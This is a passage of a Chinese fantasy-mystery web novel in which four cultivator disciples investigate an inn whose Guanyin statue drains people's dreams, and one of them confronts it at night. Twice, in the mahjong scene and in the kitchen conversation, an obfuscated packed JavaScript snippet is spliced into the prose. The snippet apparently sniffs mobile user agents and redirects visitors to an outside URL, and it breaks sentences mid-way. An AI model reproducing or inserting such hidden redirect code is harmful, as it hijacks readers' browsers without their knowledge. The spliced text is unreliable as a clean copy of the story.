陆瑶卿低头看着碗里的大鸡腿,又看了看祁燕雪碗里的红烧肉。 她美滋滋的笑了起来,抬头得意的看了一眼祁燕雪,赤裸裸的炫耀。 她咬了一口咽下去后,又忽然开始撒娇:“娘亲,”她可怜巴巴的看着叶傅宁,“晚上我要和你一起睡。” 叶傅宁伸手宠溺的揉着她的脑袋:“好好好,一起睡。” 陆瑶卿满意地弯起嘴角。 唯有祁燕雪没读懂她那炫耀的眼神,他只记住了好像师妹和师姐一样,都喜欢吃肉。 就在这时,叶傅宁看见三师弟的碗里空空如也便也一视同仁的给他夹了块红烧肉:“儿子多吃点。” 沈怀逸听见那句“儿子”后眉头微微蹙起。刚想说叶傅宁两句就看到了身旁陆瑶卿那恨不得把他碎尸万段的眼神。 他咽了咽口水,嘴边的话收了回去。然后低头,看着那块红烧肉心里五味杂陈,但还是开口道:“其实我就不用了。” 叶傅宁明显感觉到了这气氛诡异的修罗场,但只是默默笑着,接着享受师弟师妹们的投喂。 吃完饭,太阳马上就要下山了。 妇人收拾碗筷的时候,陆瑶卿又强调了一遍:“娘,我晚上要和你一起睡。我一个人睡不着。” 叶傅宁笑着点头:“好,跟娘睡。” 陆瑶卿弯起嘴角,瞥了祁燕雪一眼。 那眼神分明在说:晚上姐姐是我的,你想都不要想! 祁燕雪对上那个眼神,愣了一下,然后点了点头,唇角弯起一点弧度。 他以为师妹的意思是她会照顾好师姐,让他放心。 陆瑶卿看见那个笑容,眼神又冷了几分。 笑什么笑! 在挑衅我吗! 她挽紧叶傅宁的手臂,把她往自己这边拉了拉。 橙红色的余晖透过客栈的窗棂洒进来,在木质地板上拖出长长的光影。 妇人收拾着碗筷,嘴里还念叨着:“几位早些歇息,明早我给你们做热乎的早饭。” 叶傅宁笑着应了,揉了揉师妹的脑袋,目光扫过两个师弟,压低声音说:“走,上楼,咱们开个会。” 四人进了祁燕雪和沈怀逸的房间。 房间不大,两张木板床相对而放,中间摆着一张旧木桌,桌上放着一盏油灯。窗户半开着,能听见外面偶尔传来的虫鸣。 叶傅宁在桌边坐下,顺手点上了油灯。昏黄的火苗跳动了几下,把几人的影子投在墙上,忽明忽暗。 “都坐。”她指了指床沿。 祁燕雪在她对面坐下,目光落在她脸上,认真等待师姐发言。 沈怀逸一屁股坐在自己床上,长出一口气:“可算能正常说话了,憋死我了。” 陆瑶卿没有坐到对面去,而是直接挨着叶傅宁坐下,半个身子都靠在她身上,完全无视了对面那张空着的床。 叶傅宁也没在意,顺手揉了揉她的脑袋,然后看向几人,神情认真起来。 “说说吧,你们都发现了什么?” 沈怀逸第一个开口:“那对夫妻,我记得是好人。” 叶傅宁挑眉:“怎么不对劲?” 沈怀逸皱着眉头,努力组织语言:“他们……对我也太好了。你们看见了吗,那个老板娘,从头到尾一直在给我夹菜,看我的眼神……”他顿了顿,“就像看自己儿子似的。” “她说了,他们有过一个儿子。”祁燕雪轻声说,“要是活着,和你差不多大。” 沈怀逸点点头:“对,就是因为这个。而且我总觉得……”他想了半天,不知道怎么形容那种感觉,“他们两个人的表现不像演的,和之前镇长描述的风评不一样。” 叶傅宁若有所思地点点头:“我懂。那种感觉,装不出来。” 陆瑶卿靠在叶傅宁身上,难得开口说了一句:“那个观音像有问题。” 叶傅宁低头看她:“怎么说?” 陆瑶卿撇撇嘴:“看着就不像正经东西。眼睛是斜的,像蛇。我画符的时候见过这种纹路,不是什么好东西。” 叶傅宁心里暗暗点头。瑶瑶虽然年纪小,但在符箓一道上天赋极高,她说有问题,那就八成有问题。 沈怀逸忽然想起什么:“对了,那个老板娘往神龛那边看的时候,你们注意到了吗?我问他们身体怎么样,她说‘可能老天保佑吧’,然后往那边看了一眼。” “所以那东西,可能就是他们以为的‘老天’。”叶傅宁说,“换句话说,他们可能自己都不知道那东西有问题,还以为真是保佑他们的。” 祁燕雪一直安静地听着,这时忽然开口:“那些镇民的态度,也很奇怪。” 叶傅宁看向他。 祁燕雪想了想,慢慢说:“他们看掌柜夫妇的眼神,不只是怀疑,还有……恨。但是掌柜夫妇的反应,不是心虚,是难过。” 叶傅宁点点头:“对,我也注意到了。他们被骂、被吐口水,什么都没说,只是叹气。那种反应,不像是做了亏心事的人。” 沈怀逸闻言点点头,神色若有所思。 叶傅宁靠在椅背上,手指无意识地敲着桌面,发出“笃笃”的轻响。 “现在还不好说。”她沉吟道,“先不着急,明天咱们在客栈里四处转转,看看能不能发现什么可疑的地方。后院、柴房、他们不让去的地方,都要留意。” 沈怀逸点头,想了想:“分散行动。你和师妹负责前面,我和师兄负责后院。装作随便走走的样子,别太刻意。” 陆瑶卿听见“你和师妹”四个字,嘴角微微弯起,满意地看了一眼沈怀逸,意思是:你终于有点眼力见了。 沈怀逸默默移开目光,把这俩姑奶奶安排到一起比啥都强。 商量得差不多了,叶傅宁忽然想起什么,从怀里摸出一枚巴掌大的玉简。 那玉简通体莹白,边缘刻着繁复的符文,在昏黄的烛光下泛着温润的光泽。 “对了,得跟师父报备一下。”她说着,往玉简里注入一丝灵力。 玉简微微颤动,表面泛起一层淡淡的光晕。 与此同时,千里之外的玄苍派桃宗,一片绯色桃林中,正传来稀里哗啦的麻将声。 四张竹椅围着一张石桌,四个人各自坐着,姿态各异。 祝年今日穿了一身藕荷色的家常襦裙,外罩一件月白轻纱,长发松松挽了个髻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323296|198681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只簪了一朵刚摘的桃花。她坐在东边,手里摸起一张牌,纤长的手指在牌面上轻轻一捻,嘴角便弯起温柔的笑意。 “碰。”她把牌放下,声音轻轻的,带着几分慵懒。 坐在她对面的历雪梅,今日也换了身深紫色的常服,不像平日里那般冷硬,衣襟微敞,露出里面雪白的中衣。他垂眸看着手里的牌,面无表情。 林涛坐在祝年下家,一身桃红色的宽松长袍,领口大敞,露出结实的胸膛。他翘着二郎腿,手里的牌扇得哗哗响,眼睛却一直往祝年那边瞟。 “年年,你这手气也太好了吧!”他凑过去,几乎要贴到祝年肩膀上,“给我摸摸,沾沾喜气!” 祝年微微侧身,躲开他,笑着嗔道:“别闹,自己打自己的。” 林涛也不恼,笑嘻嘻地坐回去,眼睛却还在祝年身上打转。 东方疏影坐在林涛对面,一身青白色的家常衣袍,头发用一根发绳简单束起,垂在肩侧。他懒洋洋地靠着椅背,单手支颐,另一只手随意地摸着牌,一副随时要睡过去的样子。 “影哥,该你了!”林涛催促。 东方疏影慢悠悠地掀开眼皮,看了一眼手里的牌,随手打出一张:“三万。” 祝年眼睛一亮,轻轻把牌推倒:“胡了。” 林涛凑过去一看,哀嚎一声:“年年你又胡!今天第几把了!” 祝年笑盈盈地收着筹码,轻声说:“运气好罢了。” 林涛还在那里絮絮叨叨:“我就不信了!再来再来!今天非得赢一把!” 他一边说,一边往祝年那边蹭,手臂几乎要碰到她的肩膀。 祝年也不躲,只是笑着摇摇头,任由他闹。 历雪梅看着这一幕,眉头微微蹙起,手里的牌被他捏得“咔”一声轻响。 东方疏影把这一切看在眼里,唇角弯起一个若有若无的弧度。 他什么都没说,只是继续懒洋洋地打着牌,偶尔往桃林外看一眼。 那个方向,是落水镇。 也不知道那几个小的,现在怎么样了。 正想着,怀里忽然传来一阵温热。 他摸出玉简,看了一眼,嘴角的弧度又深了几分。 古道客栈这边。 玉简那头沉默了几秒,然后传来一阵稀里哗啦的声响,像是麻将牌被推倒的声音。 紧接着,一个懒洋洋的、带着点不耐烦的声音传来:“何事?” 叶傅宁眼睛一亮:“师父!是我们!我们到落水镇了,已经住进那家客栈了!” 玉简那头又是一阵稀里哗啦,夹杂着林涛的大嗓门:“影哥你快点!轮到你了!” 然后是历雪梅冷冷的“嗯”了一声,还有祝年温柔的笑声:“不急,慢慢来。” 叶傅宁:“……” 沈怀逸:“……” 祁燕雪:“……” 陆瑶卿面无表情。 敢情师父他们在打麻将?! 玉简那头,东方疏影的声音依旧懒洋洋的,完全听不出任何着急:“知道了。住进去了就好。有什么事?” 叶傅宁深吸一口气,决定忽略背景音,正色道:“师父,我们发现了点情况。这家客栈的掌柜夫妇,好像有个死去的儿子,年纪和怀逸差不多。他们对怀逸特别好,好得不像是普通客人。” 玉简那头传来东方疏影的声音:“继续。” 叶傅宁继续说:“还有,客栈里供着一尊观音像,但看着不太对劲。瑶瑶说那东西有问题,不像是正经佛像。那些得病的镇民,对掌柜夫妇恨意很深,但他们两口子的反应,不像是心虚。” 玉简那头传来一声淡淡的一声“嗯”,似乎没放在心上。 然后又是一阵稀里哗啦的麻将声。 林涛的声音又传过来:“影哥,你到底打不打?!” 东方疏影懒懒地回了一句:“急什么。” 然后他又对着玉简说:“明天继续查,注意安全。有事再报。” 叶傅宁应了一声:“好的师父,那您继续……忙?” 玉简那头传来祝年轻轻的笑声,还有历雪梅不耐烦的冷哼。 然后传讯断了。 叶傅宁看着手里的玉简,嘴角抽了抽。 沈怀逸幽幽地说:“咱们在这边出生入死,师父在那边打麻将?” 陆瑶卿难得开口,语气平静:“他本来就是这种人。” 祁燕雪点点头,表示同意。 叶傅宁把玉简收起来,叹了口气:“行了,别管师父了,反正咱们的事得自己办。今天先休息,明天一早开始行动。” 她站起身,拍了拍衣服,然后看向陆瑶卿:“走吧瑶瑶,睡觉去。” 陆瑶卿闻言点点头小跑着跟上,牵上叶傅宁伸过来的手。 沈怀逸轻轻叹了口气表示没眼看,转身铺床去了。 本回正是: 夜谈疑云层层现, 传讯玉简报平安。 桃林麻将正热闹, 几人欢喜几人酸。 各位客官欲知后事如何,明日四小只分散探查会有何发现?那尊邪佛究竟藏着什么秘密?且听下回分解! 29.邪佛含笑暗处立,一魂惊定魄先摧。 接上回: 夜已深。 落水镇的夜晚比想象中更静,静得能听见自己的心跳声。 沈怀逸躺在木板床上,盯着头顶的帐幔,翻来覆去睡不着。 脑子里乱七八糟的,一会儿是晚饭时老板娘给他夹菜时红着眼眶的样子,一会儿是掌柜的说“要是活着,也该和你差不多大了”时的那种眼神,一会儿又是陆瑶卿那恨不得把他和祁燕雪一起剁了的眼神…… 他叹了口气,侧过身,看向对面那张床。 祁燕雪已经睡了。 月光透过窗棂洒进来,落在他的侧脸上,勾勒出柔和的轮廓。他睡得很安静,呼吸均匀,睫毛在眼睑下投出淡淡的阴影。 沈怀逸看着看着,莫名觉得安心了些。 有师兄在,没事的。 他这样想着,闭上眼睛,渐渐沉入梦乡。 梦里白茫茫的一片,像是起了大雾,什么都看不清。 沈怀逸站在雾中,四处张望,喊了几声几人的名字,没有回应。 奇怪,一个个的人呢? 他往前走了几步,忽然听见一阵细碎的声响,像是小孩子在哭。 那声音断断续续的,压抑着,像是怕被人听见。 沈怀逸循着声音走过去,雾气渐渐散开,他发现自己又回到了那间客栈的房间。 一样的木桌,一样的油灯,一样的木板床,但床上空荡荡的,祁燕雪不见了。 他正要喊,忽然感觉有人拽了拽他的衣角。 低头一看,一个六七岁的小男孩正站在他身边,仰着头看着他。 那孩子穿着一件洗得发白的旧衣裳,脸色有些苍白,眼眶红红的,像是刚哭过。他的眼睛很大,黑漆漆的,直直地盯着沈怀逸,带着一种说不出的急切。 沈怀逸愣住了。 这孩子哪儿来的? “哥哥。”小男孩开口了,声音细细的,带着点颤抖,“哥哥,救救他们……救救我爹娘……” 沈怀逸蹲下来,想问他什么,那孩子却急急地继续说下去,话像倒豆子一样往外蹦,又快又乱: “爹娘……爹娘被人骗了……那个人,那个人送的东西,不是好东西……我每天都看见他们,但他们看不见我……那不是真的我,是假的,是假的……” 他越说越急,小脸皱成一团,眼眶里泪珠直打转:“楼下有东西……不好的东西……大家都染上了!我爹娘也染上了,但他们不知道……” 沈怀逸心一紧,握住他的小手:“什么楼下?楼下有什么?” 小男孩急得跺脚,语无伦次,“那东西会做梦,会把人的梦吃掉……我爹娘每天梦见的不是我,是假的!” 他抬起头,那双黑漆漆的眼睛里满是恐惧和哀求:“哥哥,求求你们救救他们,救救我爹娘……求你了……” 沈怀逸想问清楚,刚张开嘴—— 那孩子忽然像是被什么拽住一样,整个人往后退去,身影越来越淡,越来越模糊。 “等等!”沈怀逸伸手去抓,却抓了个空。 小男孩最后看了他一眼,嘴唇动了动,像是说了什么,但已经听不见了。 沈怀逸猛地睁开眼。 他躺在床上。 满头冷汗,后背的衣裳湿透了,粘在身上,冰凉刺骨。 他大口大口地喘着气,胸口剧烈起伏,心跳快得像要从嗓子眼里蹦出来。 月光依旧透过窗棂洒进来,屋里静悄悄的,只有自己的喘息声和心跳声在耳边轰鸣。 他下意识转头看向对面的床。 祁燕雪还在。 他安静地睡在那里,呼吸均匀,睫毛偶尔轻轻颤动一下,像是在做什么好梦。 沈怀逸盯着他看了好一会儿,确认他确实在,确实好好地在那里,才慢慢松了口气。 他抬起手,发现自己手心全是汗。 梦里的那个孩子,那双黑漆漆的眼睛,那些断断续续的话—— “爹娘被人骗了……” “楼下……楼下面有东西……” “那东西会把人的梦吃掉……” 他心跳又快了起来。 什么意思? 那孩子是谁? 为什么会出现在他梦里? 他想起晚饭时老板娘红着眼眶的样子,想起掌柜的说“要是活着,也该和你差不多大了”。 如果那个孩子真的是他们死去的儿子——那他刚才说的那些话…… “爹娘被人骗了。” “那个人送的东西,不是好东西。” “楼下……楼下面有东西。” “那东西会把人的梦吃掉。” 他攥紧被角,指节发白。 不行,明天一定要好好查查。 翌日清晨,阳光透过窗棂洒进来,把整个房间照得亮堂堂的。 沈怀逸顶着两个黑眼圈坐起来,一副没睡好的样子。昨晚那个梦搅得他一夜不安稳,翻来覆去想了半宿,天亮才迷迷糊糊眯了一会儿。 祁燕雪已经穿戴整齐,正在系腰带。他回头看见沈怀逸那副萎靡不振的模样,动作顿了顿,轻声问:“没睡好?” 沈怀逸打了个哈欠,含糊地“嗯”了一声,揉着眼睛下床。 他犹豫了一下,还是没把昨晚那个梦说出来。说了吧,怕是自己多想;不说吧,又总觉得心里不踏实。算了,先放着,今天查查看再说。 两人洗漱完下楼,叶傅宁和陆瑶卿已经在靠窗的桌边坐着了。 陆瑶卿照例紧紧挨着叶傅宁,整个人几乎贴在她身上。看见祁燕雪下来,那双杏眼瞬间冷了几分,目光在他脸上扫了一圈,像是在审视什么可疑人物。 叶傅宁倒是笑眯眯的,冲他们招手:“来来来,吃早饭!老板娘说今天包的野菜包子,可香了!” 妇人端着两碗热粥从厨房出来,看见沈怀逸,眼睛又亮了几分。她把粥放在他面前,还特意多端了一碟酱菜,又转身从蒸笼里捡了两个最大的包子,塞到他碗里。 “孩子,多吃点。”她慈爱地看着他,眼角细细的皱纹都舒展开来,“瞧你瘦的,昨晚是不是没睡好?眼底下都青了。” 沈怀逸被她的热情弄得有点不好意思,低头喝粥,小声说了句“谢谢”。妇人站在旁边看了他好一会儿,才依依不舍地转身回厨房。 吃完饭,叶傅宁压低声音,把昨晚商量的计划又说了一遍:“我和瑶瑶负责前院,你们两个去后院。分头行动,仔细点,别放过任何可疑的地方。” 她顿了顿,补充道:“也别太明显。要是被发现了,就说是随便逛逛。” 陆瑶卿立刻挽住她的手臂,那意思再明显不过——我跟姐姐一起。 沈怀逸看了一眼祁燕雪,祁燕雪点点头,表示没问题。 四人分两路,各自出发。 后院比前院大得多,一眼望去,菜园子、柴房、水井、还有几间半塌的杂物间,零零散散地分布着。 沈怀逸和祁燕雪装作散步的样子,慢悠悠地走着。 菜园子里种着些时令蔬菜,小白菜、萝卜、韭菜,绿油油的一片,长势喜人。沈怀逸蹲下来看了看,又摸了摸泥土,想看看土里有没有藏什么东西,但没发现什么异常。 祁燕雪站在一旁,目光在几间柴房之间来回打量,最后他走向了最里侧那件。 柴房的门虚掩着,门板上落了一层灰,看起来很久没人动过。沈怀逸推开门,往里探了探头。 里面堆满了杂物——破旧的桌椅、生锈的农具、几袋子不知什么东西,角落里还码着一摞缺了角的瓦片。阳光从门缝里挤进去,照出空气中缓缓浮沉的灰尘。 沈怀逸走进去,小心翼翼地翻看着那些杂物。祁燕雪跟在他身后,目光在四周扫视。 两人正翻着,门口传来一阵脚步声。 掌柜的不知什么时候站在门口,手里拎着把斧头,笑眯眯地看着他们:“两位,找什么呢?” 沈怀逸心里咯噔一下,大脑飞速运转。 祁燕雪依旧没什么表情,只是站直身子,目光平静地看着掌柜的。 沈怀逸干笑两声,脑子转得飞快:“我们……我们想找点工具,帮你们劈柴!对,劈柴!昨天看你们忙,想着帮帮忙。” 他越说越顺溜,还特意拍了拍旁边的木柴堆:“这些还没劈吧?我们来!” 掌柜的愣了一下,随即哈哈大笑:“好好好,那辛苦你们了!” 他把斧头递过来,祁燕雪默默接过,走到院子里开始劈柴。 一斧头下去,木柴应声裂成两半,动作干脆利落。 掌柜的在旁边看着,连连夸赞:“好!劈得好!小兄弟力气不小啊!” 沈怀逸站在旁边,看着师兄一斧一斧地劈柴,心想:查案查成了劈柴,也是没谁了。 他低头看了看自己,又看了看手里空空的,觉得自己也应该干点什么。于是蹲下来,把劈好的柴火一根根捡起来,码到墙角。 两人就这么一个劈一个捡,配合默契,干得热火朝天。 掌柜的看了一会儿,满意地点点头,转身去忙别的了。 沈怀逸叹了口气,继续码柴。 前院那边,叶傅宁和陆瑶卿也没闲着。 她们在院子里转了两圈,又去厨房门口晃了晃。妇人正在里面忙活,灶台上蒸着包子,锅里的粥咕嘟咕嘟冒着泡,空气里弥漫着食物的香气。 看见她们,妇人热情地招手:“进来坐坐?厨房里暖和!” 叶傅宁笑着走进去,顺手帮她递了个盘子。陆瑶卿跟在后面,目光警惕地打量着厨房的每一个角落。 叶傅宁一边帮忙,一边和妇人唠起家常:“嫂子,你们这客栈开了多少年了?” “快二十年了。”妇人一边切菜一边说,“我和老头子刚成亲那会儿,从上一任掌柜手里接过来的。那时候这客栈破得很,墙皮都掉,我们一点一点修起来的。” “那你们一直住在这儿?” “对,一直住着。”妇人笑了笑,眼神里带着怀念,“这客栈就是我们的家。每一块砖,每一片瓦,都是我们亲手弄的。” 叶傅宁点点头,目光不动声色地在厨房里扫了一圈:灶台、水缸、案板、碗柜……都是寻常物件,没什么特别的。 她似是突然想起什么一样,目光忍不住看向柜台那边。 那尊观音像立在神龛里,在晨光中泛着幽幽的光。那双斜向上的眼睛,无论从哪个角度看,都像是在盯着你。 “嫂子,那是什么?”她装作好奇地问。 妇人顺着她的目光看过去,神色变得虔诚起来:“那是我们供的观音像。好几年前,有个云游的师傅路过,说我们家有煞气,送了我们这尊像,说是能保平安。” 叶傅宁心里一动:“云游的师傅?” 妇人点点头:“对,看着挺面善的,说话也和气。他说这像有灵性,让我们好好供着,每天上香,诚心祈祷,就能梦见想见的人。” 叶傅宁和陆瑶卿交换了一个眼神。 “嫂子,那你们……梦见了吗?” 妇人的手顿了顿,沉默了一会儿,然后轻轻笑了:“梦见了。”她说,声音很轻,像是在说什么秘密,“梦见我们那个孩子。跟活着的时候一样,在院子里跑,在门口喊娘……” 她的眼眶红了,但嘴角却弯着:“有时候我都分不清,到底是梦还是真的。” 叶傅宁心里一沉。 “嫂子,”她斟酌着措辞,“那师傅……后来还来过吗?” 妇人摇摇头:“没有。就那一次。” 叶傅宁若有所思地点点头,目光又落回那尊观音像上。 “嫂子,那师傅来的时候,有没有说什么特别的话?”她装作随口闲聊的样子,手上帮妇人择着菜,“比如这像要怎么供,有没有什么讲究?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357377|198681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >妇人想了想:“他说要诚心,每天上香,心里想着想见的人就行。还说……”她顿了顿,似乎在回忆,“还说这像认主,供上了就不能撤,撤了就不灵了。” 叶傅宁心里一动:“不能撤?” “对。”妇人点点头,语气里带着几分虔诚,“他说这像跟我们家有缘,供上了就是我们家的人,保佑我们平平安安。我跟他爹这些年,一天都没断过。” 叶傅宁和陆瑶卿飞快地交换了一个眼神。 供上了就不能撤。这话怎么听都不像是什么正经保佑,倒像是绑死了。 “那嫂子,”叶傅宁又问,“除了梦见孩子,你们有没有别的……感觉?比如睡不好,或者身体不舒服?” 妇人愣了一下,摇摇头:“没有啊。睡得可香了,一觉到天亮。”她笑了笑,“就是有时候梦太真了,醒来反而觉得累,像是真的跟孩子玩了一整天似的。” 梦里太真,醒来累。这不正是那些镇民说的症状吗?只是掌柜夫妇的症状更轻,更慢,所以他们自己都没察觉。 “嫂子,”她斟酌着措辞,“那你们孩子……是怎么没的?” 妇人的手顿了顿,择菜的动作停了一下。沉默了一会儿,才轻声说:“病死的。那年他才七岁,一场大病,烧了好几天,没救过来。” 她说着,眼眶又红了,但马上笑起来,掩饰地擦了擦眼角:“都过去了。现在能在梦里见着他,我们知足了。” 叶傅宁没有再问。 厨房里安静了一会儿,只有灶台上的火苗偶尔发出“噼啪”的声响。妇人低头择菜,叶傅宁帮着递东西,两人各怀心思,谁都没说话。 陆瑶卿靠在门口,目光在那尊观音像和妇人之间来回游移,眼神里的冷意越来越重。 临近中午,四人在院子里碰头。 叶傅宁把那尊观音像的来历说了一遍。 沈怀逸听完,脸色微微发白。昨晚那个梦,那孩子说的话,忽然和这些对上了。 “所以那个东西,”他压低声音,“就是那个云游的师傅送来的?” 叶傅宁点头。 沈怀逸攥紧拳头,犹豫了一下,还是把昨晚的梦说了出来。 叶傅宁听完,眉头皱了起来:“你说那孩子……和你差不多大?” 沈怀逸点头:“六七岁的样子。掌柜的说,他们儿子是七岁没的。” 几人对视一眼,都从对方眼里看到了同一个猜测。 “但是,”祁燕雪忽然开口,声音很轻,“他说楼下有东西,我们转了一上午,什么都没发现。” 沈怀逸攥紧拳头,心里那团不安越来越重。是他多想了吗?还是那东西藏得太深? 叶傅宁拍了拍他的肩膀:“先别急,晚上再观察观察,我们目前都只是推测,还没有证据。” 沈怀逸点点头,没再说话。 但整个下午,他都有些心不在焉。 他反复回想今天在客栈楼下巡查的细节,没有哪里像藏了东西的样子。 晚饭时,妇人照例给他多夹了菜,笑吟吟地看着他吃。沈怀逸低头扒饭,心里乱成一团。 他抬起头,看了妇人一眼。她正笑着给陆瑶卿盛汤,眼角细细的皱纹舒展开来,眉眼间全是满足,掌柜也热情的给师兄和叶傅宁上菜。 沈怀逸攥紧筷子,指节微微泛白。 夜深了。 沈怀逸躺在床上,盯着头顶的帐幔,翻来覆去睡不着。 月光透过窗棂洒进来,在对面的床铺上落下一片银白。祁燕雪已经睡了,呼吸均匀,睡得很沉。 沈怀逸侧过身,盯着师兄的睡颜看了很久。他很想把人叫醒,说“师兄,陪我去楼下看看”。但祁燕雪睡得太沉了,叫醒他怕自己小题大做,不叫又实在不踏实。 他躺回去,盯着帐幔,又翻了个身。 不行,还是得再去看看,万一真是什么在白天观察不到的呢? 他轻轻坐起来,披上外衣,蹑手蹑脚地下了床。走到门口,他回头看了一眼——祁燕雪没醒,依旧安静地睡着。 沈怀逸抿了抿唇,推开门,走了出去。 走廊里黑漆漆的,只有尽头的窗户透进来一点月光,把地面照出一块惨白的方框。他扶着墙,一步一步往楼下走,木楼梯在脚下发出“吱呀”的轻响,每一声都让他心尖一颤。 楼下比走廊还暗。 几排桌椅在黑暗中沉默着,像蹲伏的兽。柜台后面的神龛隐在暗处,什么都看不清。 沈怀逸站在楼梯口,心跳快得像要从嗓子眼里蹦出来。 那孩子说,楼下有东西。 他深吸一口气,迈出第一步。 就在这时,神龛方向忽然亮了一下。 很微弱的光,幽幽的,像磷火,又像蛇瞳在暗中睁开。 沈怀逸整个人僵在原地。 那光是黑色的,从神龛里渗出来,沿着柜台边缘缓缓流淌,像活物一样蠕动。 他张了张嘴,想喊,喉咙像被什么东西堵住了,发不出一点声音。 他想后退,腿像灌了铅,一步都迈不动。 那光越来越亮,神龛里的观音像渐渐显露出轮廓——面容慈祥,嘴角含笑,可那双眼睛是斜向上的,瞳仁细长,正直直地盯着他。 盯着他。 沈怀逸浑身僵硬,冷汗顺着脊背往下淌。 他想喊师兄,想喊叶傅宁,想喊任何人。可他发不出声音,动不了,只能眼睁睁看着那尊观音像在暗处泛着幽光,看着那双蛇一样的眼睛一点点弯起来—— 像是在笑。 沈怀逸的瞳孔骤然紧缩。 本回正是: 白日寻踪无觅处, 更深探秘鬼门开。 邪佛含笑暗处立, 一魂惊定魄先摧。 各位客官欲知后事如何,沈怀逸能否脱身?那观音像里究竟藏着什么?且听下回分解! 30.深宵遇祟魂欲断,一声客官胆已寒。 接上回: 沈怀逸觉得自己快要死了。 那尊观音像的嘴角弯起来的时候,他清楚地感觉到有什么东西顺着他的脊背爬上来——凉的,软的,像蛇,又不像,因为它没有鳞片的触感,更像是一只手。 一只无形的手,从神龛里伸出来,按住了他的肩膀,还要继续向前扼住他的咽喉。 他想叫,叫不出。想跑,跑不动。连闭上眼睛都做不到,只能直直地盯着那双越来越弯的蛇瞳,看着它们一点点收紧,像要把他的魂从身体里挤出去。 那道光从神龛里漫出来,沿着地面向他脚边蔓延。不是照亮的,是吞噬的——光所到之处,黑暗被吃掉,桌椅被吃掉,连空气都被吃掉。而他站在光与暗的边界上,脚尖已经被那层幽光舔到,冰凉彻骨。 他的腿开始发抖。不是因为冷,是因为那光在往他骨头缝里钻,在找什么东西。他感觉自己的意识像被一根细线拽着,一点一点往外抽,脑子里嗡嗡作响,眼前开始发黑—— 就在这时,楼上忽然传来一声闷响。 像是什么东西掉在地上,又像是什么人踢翻了凳子。紧接着是叶傅宁的声音,隔着天花板传下来,模模糊糊的,但语气里的不耐烦清清楚楚:“……大半夜的,吵什么。” 那道光骤然缩了回去。 像被烫到一样,所有幽光在一瞬间收回神龛,快得像什么都没发生过。观音像还是那尊观音像,安安静静立在黑暗里,嘴角含笑,眼睛微阖,慈眉善目。 沈怀逸的腿一软,整个人往前栽去。他伸手撑住旁边的桌子,指甲刮过桌面,发出刺耳的“吱嘎”声。他顾不上疼,也顾不上声音会不会吵醒楼上的人,只知道—— 跑。 他转身就往楼梯跑。腿还是软的,每一步都像踩在棉花上,好几次差点跪下,全靠抓着栏杆把自己往上拽。木楼梯在他脚下“咚咚”闷响,他听见自己的喘气声粗得像拉风箱,心脏要从嗓子眼里蹦出来。 他不敢回头。 二楼走廊还是那么黑,尽头那扇窗户透进来的月光还是那么惨白。他摸到自己的房门,推了好几下才推开,踉跄着跌进去,反手把门摔上,整个人靠着门板滑坐在地上。 房间里很安静。月光还是那个月光,祁燕雪还是那个祁燕雪,安安静静地睡在对面的床上,呼吸均匀,睫毛微颤。一切和他离开时一模一样。 他坐在地上,大口大口喘气,后背的衣裳湿透了,粘在皮肤上,冰凉刺骨。他想站起来,腿不听使唤;想去找师兄,胳膊撑不住。脑子像被灌了浆糊,什么都想不了,什么都怕,又不知道自己在怕什么。 那道光。那双眼睛。那按在肩膀上的手。 他使劲眨了眨眼,想把那些画面甩出去,眼皮却越来越沉,像有人往上面放了什么东西。 困意排山倒海地涌上来,比任何时候都凶,都急,根本不给他反应的机会。 他最后看了一眼对面的床。祁燕雪还在睡。 然后他的头一歪,靠着门板,什么都不知道了。 清晨的第一缕光从窗棂缝隙里挤进来,在木地板上画出一道细细的金线。 祁燕雪睁开眼的时候,觉得今天的光线好像不太对。他侧过头,就看见沈怀逸蜷缩在门边,后背靠着门板,脑袋歪向一边,外衣皱巴巴地披在身上,鞋子还穿着。 他一愣,立刻坐起来,轻手轻脚地下了床,生怕弄出动静惊着师弟。 走到近前,他蹲下来,先伸手探了探沈怀逸的额头。凉的。又摸了摸他的手指,也是凉的。 祁燕雪的眉头微微蹙起,把自己外衣脱下来,轻轻盖在沈怀逸身上。 “怀逸。”他轻声叫,声音压得很低,像怕吓着他,“怀逸,醒醒。” 沈怀逸没动,睫毛颤了颤,眉头皱了一下,像是在梦里被什么追着。 祁燕雪又轻轻推了推他的肩膀:“怀逸,怎么睡在这儿?” 沈怀逸这才迷迷糊糊睁开眼。那双眼睛浑浊得很,好一会儿才对上焦,看见面前的人,哑着嗓子叫了一声:“……师兄?” “怎么在这儿睡着了?”祁燕雪问,“冷不冷?” 沈怀逸愣了一下,低头看了看自己——外衣滑到腿上,鞋还穿着,整个人狼狈地靠在门板上。 他张了张嘴,想说“昨晚我下楼了”,又想说“那尊观音像有问题”,但脑子像被浆糊灌满了,什么都说不清楚。 “我……”他顿了顿,“我好像做了个梦。” 祁燕雪没有追问,只是伸手把他从地上拉起来。沈怀逸的腿还是软的,站起来晃了一下,被祁燕雪扶住。 “要不要再睡一会儿?”祁燕雪看着他眼底的青黑,声音很轻,“还早。” 沈怀逸摇了摇头,又点了点头,自己都不知道自己想怎样。祁燕雪也不催,就扶着他走到床边,让他坐下,又给他倒了杯水。 沈怀逸捧着杯子,小口小口地喝。水是凉的,从喉咙一路凉到胃里,倒是让他清醒了几分。 他低头看自己的手。指甲好好的,没有刮痕,也没有木屑。他又看自己的鞋,鞋底干干净净,没有楼下地板上的灰。 